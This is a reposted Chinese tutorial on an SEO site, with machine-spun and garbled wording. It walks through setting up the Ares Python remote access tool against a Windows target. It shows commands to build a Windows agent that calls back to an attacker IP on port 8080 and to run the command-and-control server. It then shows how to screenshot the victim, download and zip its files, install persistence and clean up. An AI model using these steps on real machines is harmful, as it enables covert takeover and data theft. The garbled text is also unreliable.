首页 站长运维 脚本编程 基于Python的BS远控Ares实战

摘要

本文咱们将练习若何利用Ares这个器材。Ares是一个基于Python的B/S远控器材,Server端利用Flask举行斥地,完全正在浏览器就可能轻松操作。它运转正在受熏染的主机上,并确保CNC通讯的亨通。该项目要紧归功于Kevin Locati,你可能正在GitHub上找到它。

关于本文中的演示,我将利用以下编制境遇:

攻击者:Kali Linux

宗旨:Windows 10

   安设

起首,咱们需求正在攻击者机械上安设该器材。咱们直接从GitHub克隆它。实行后,咱们通过cd下令遍历新创筑的名为Ares的目次,如下所示。

   git clonecd Ares ls

基于Python的BS远控Ares实战

接下来,为了使器材可能平常办事,咱们还需求安设极少依赖项。安设requirements.txt文献即可,该文献包蕴了需求安设的python库的周密音信。

   pip install -r requirements.txt

基于Python的BS远控Ares实战

由于咱们的宗旨是Windows机械,于是咱们需求编译与Windows机械兼容的agent。为此,咱们需求先来安设wine。这里或者需求花费极少时光。

   ls ./wine_setup.sh 基于Python的BS远控Ares实战 宗旨诈骗

至此,咱们已凯旋安设了运转Ares所需的全体前提。接下来咱们就可能后测验获取与宗旨机械的CNC会话了。思要到达这个方针,咱们还需求一个agent。咱们利用cd下令遍历agent目次。然后通过ls下令列出文献,找到个中的一个装备文献。咱们需求编辑该文献以获取会话。

   cd agent/ ls nano config.py

基于Python的BS远控Ares实战

可能看到,当咱们利用nano下令翻开装备文献后,个中的SERVER变量处有一个IP地方。咱们编辑并将其更改为攻击者机械的内网IP地方,这里以我的IP(192.168.1.4)为例。其他参数值咱们无需修削,存在并退出nano编辑器。

基于Python的BS远控Ares实战

config文献装备实行后,下面咱们来创筑一个代劳。由于咱们的宗旨机械是Windows,因此咱们将利用以下下令创筑一个Windows的代劳。

   ./builder.py -p Windows –server //192.168.1.4:8080 -o agent.exe

基于Python的BS远控Ares实战

创筑实行后你可能选拔一种你热爱的办法,将这个代剪发送到宗旨阴谋机上。之后,咱们需求启动供职器。这是必要的,由于代劳将与该供职器通讯。让咱们回到Ares目次。这里有一个名为server的子目次。正在遍历它之后,咱们需求初始化数据库(仅正在第一次利用时需求初始化数据库),由于咱们将利用initdb参数。现正在,咱们将运转供职器如下图所示。

   ls cd server/ ./ares.py initdb ./ares.py runserver -h 0.0.0.0 -p 8080 –threaded

基于Python的BS远控Ares实战

现正在,咱们正在浏览器中导航到供职器IP。你将看到一个外单,央求咱们设备一个暗号。输入实行后,单击“Define”陆续。

基于Python的BS远控Ares实战

接着,会央求咱们输入方才设备的暗号举行登录。

基于Python的BS远控Ares实战

这里咱们可能看到Ares GUI的几个主索引,蕴涵:Change Password,Disconnect,Agent List。现正在,让咱们回到创筑代劳的那步。只要正在宗旨机械上施行代劳后,咱们才会正在Agent List中获取一个Agent。

基于Python的BS远控Ares实战

正如下图中所示,咱们有一个存活的agent。咱们可能看到代劳的名称,形态,代劳上线时登录的用户,同样咱们也有主机名。咱们还获取到了宗旨的IP和编制类型。这里,咱们可能正在众个设置上运转代劳,每个设置都可能正在这里被查看到。咱们可能从这里选拔会话,同时正在众个会话上施行相似的下令。让咱们点击名称陆续。

基于Python的BS远控Ares实战

   下令施行

让咱们先来运转一个systeminfo下令看看。如下所示,咱们获取到了宗旨机械的全体编制装备音信。

   systeminfo 基于Python的BS远控Ares实战 截屏

现正在,让咱们来测验截取宗旨机械的屏幕。输入屏幕截取下令,代劳将缉捕屏幕截图并供应如图所示的链接。翻开该链接,咱们就可能查看到最新的屏幕截图。

   screenshot 基于Python的BS远控Ares实战 文献下载

咱们还可能利用该代劳从长途宗旨下载文献。思要下载文献必要要清楚文献名,咱们可能利用dir下令获取文献名。清楚文献名后,咱们就可能将相应的文献下载到咱们当地的攻击机上,如下图所示。

   download file.txt 基于Python的BS远控Ares实战 压缩文献

咱们可能利用Ares agent压缩长途宗旨上的目次。同样需求目次名。提取目次名后,咱们可能利用以下下令长途压缩文献。这里的’sample’是目次的名称,’compressed.zip’是压缩文献的名称。

   zip compressed.zip sample 基于Python的BS远控Ares实战 悠久化代劳

咱们可能利用persist下令来移用代劳中的persistence。该下令会正在长途宗旨上安设代劳。

   persist 基于Python的BS远控Ares实战 Clean Up

终末使命实行后,咱们可能利用clean下令从宗旨阴谋机中删除代劳。

   clean

基于Python的BS远控Ares实战

标题:基于Python的BS远控Ares实战

分类:脚本编程

链接:https://www.seozhan.cn/30430.html

版权:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至503806699@qq.com 举报,一经查实,本站将立刻删除

相关文章

评论 暂无评论